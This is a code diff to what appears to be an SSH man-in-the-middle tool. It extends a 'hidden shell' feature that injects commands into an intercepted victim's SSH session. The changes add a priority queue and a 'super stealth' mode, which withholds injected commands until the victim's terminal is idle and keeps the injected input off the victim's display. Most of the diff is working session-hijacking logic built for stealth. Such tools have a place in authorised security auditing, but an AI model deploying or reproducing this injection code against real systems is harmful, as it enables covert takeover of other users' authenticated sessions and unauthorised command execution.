1212
1313
1414class SSHInjectableForwarder (SSHForwarder ):
15- # TODO: complete stealth
1615
1716 HOST_KEY_LENGTH = 2048
1817
@@ -49,7 +48,9 @@ def __init__(self, session):
4948 self .injector_sock .listen (5 )
5049
5150 self .mirror_enabled = self .args .ssh_injector_enable_mirror
52- self .queue = queue .Queue ()
51+ self .queue = queue .PriorityQueue ()
52+ self .clear_signal = None
53+ self .clear = True
5354 self .sender = self .session .ssh_channel
5455 self .injector_shells = []
5556 thread = threading .Thread (target = self .injector_connect )
@@ -59,7 +60,7 @@ def __init__(self, session):
5960 def injector_connect (self ):
6061 inject_host , inject_port = self .injector_sock .getsockname ()
6162 logging .info (
62- "created injector shell on port {port}. connect with: ssh -p {port} {host}" .format (
63+ "created stealth shell on port {port}. connect with: ssh -p {port} {host}" .format (
6364 host = inject_host ,
6465 port = inject_port
6566 )
@@ -98,14 +99,24 @@ def injector_connect(self):
9899 self .close_session (self .channel )
99100
100101 def forward_stdin (self ):
101- # MTODO: maybe add host priority (priority queue); silent mode with client blocking input from injectors
102102 if self .session .ssh_channel .recv_ready ():
103+ self .clear = False
103104 buf = self .session .ssh_channel .recv (self .BUF_LEN )
104- self .queue .put ((buf , self .session .ssh_channel ))
105+ logging .debug ("Client:" + str (buf ))
106+ self .queue .put ((0 , buf , self .session .ssh_channel ))
105107
106108 def forward_stdout (self ):
107109 if self .server_channel .recv_ready ():
108110 buf = self .server_channel .recv (self .BUF_LEN )
111+ if self .sender == 'clear_signal' :
112+ self .clear_signal = buf .strip ()
113+ self .sender = self .session .ssh_channel
114+ return
115+ if self .clear_signal :
116+ if self .clear_signal in buf :
117+ self .clear = True
118+ logging .debug ("Server:" + str (buf ))
119+ logging .debug (self .clear )
109120 self .sender .sendall (buf )
110121 if self .mirror_enabled and self .sender == self .session .ssh_channel :
111122 for shell in self .injector_shells :
@@ -114,7 +125,14 @@ def forward_stdout(self):
114125
115126 def forward_extra (self ):
116127 if not self .server_channel .recv_ready () and not self .session .ssh_channel .recv_ready () and not self .queue .empty ():
117- msg , sender = self .queue .get ()
128+ if not self .clear_signal :
129+ self .server_channel .sendall (b'\r ' )
130+ self .sender = 'clear_signal'
131+ return
132+ prio , msg , sender = self .queue .get ()
133+ if sender is not self .session .ssh_channel and not self .clear :
134+ self .queue .put ((prio , msg , sender ))
135+ return
118136 self .server_channel .sendall (msg )
119137 self .sender = sender
120138 self .queue .task_done ()
@@ -131,15 +149,14 @@ class InjectorShell(threading.Thread):
131149
132150 BUF_LEN = 1024
133151 STEALTH_WARNING = """
134- [NOTE ]\r \n
135- This is a hidden shell injected into the secure session the original host created.\r \n
136- Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r \n
137- Exit the hidden shell with CTRL+C\r \n
152+ [INFO ]\r
153+ This is a hidden shell injected into the secure session the original host created.\r
154+ Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r
155+ Exit the hidden shell with CTRL+C\r
138156"""
139157 SUPER_STEALTH = """
140- [SUPERSTEALTH]\r \n
141- Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!
142- \r \n
158+ [SUPERSTEALTH]\r
159+ Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!\r
143160"""
144161
145162 def __init__ (self , remote , client_channel , forwarder ):
@@ -148,18 +165,28 @@ def __init__(self, remote, client_channel, forwarder):
148165 self .forwarder = forwarder
149166 self .queue = self .forwarder .queue
150167 self .client_channel = client_channel
168+ self .command = b''
151169
152170 def run (self ) -> None :
153171 self .client_channel .sendall (
154- self .STEALTH_WARNING + self .SUPER_STEALTH if self .forwarder .args .ssh_injector_super_stealth else ""
172+ self .STEALTH_WARNING + ( self .SUPER_STEALTH if self .forwarder .args .ssh_injector_super_stealth else "" )
155173 )
156174 try :
157175 while not self .forwarder .session .ssh_channel .closed :
158176 if self .client_channel .recv_ready ():
159177 data = self .client_channel .recv (self .forwarder .BUF_LEN )
178+ self .command += data
160179 if data == b'\x03 ' :
161180 break
162- self .queue .put ((data , self .client_channel ))
181+ if self .forwarder .args .ssh_injector_super_stealth :
182+ if data == b'\r ' :
183+ self .queue .put ((1 , self .command , self .client_channel ))
184+ self .command = b''
185+ self .client_channel .sendall (data )
186+ else :
187+ self .queue .put ((1 , self .command , self .client_channel ))
188+ self .command = b''
189+
163190 if self .client_channel .exit_status_ready ():
164191 break
165192 time .sleep (0.1 )
0 commit comments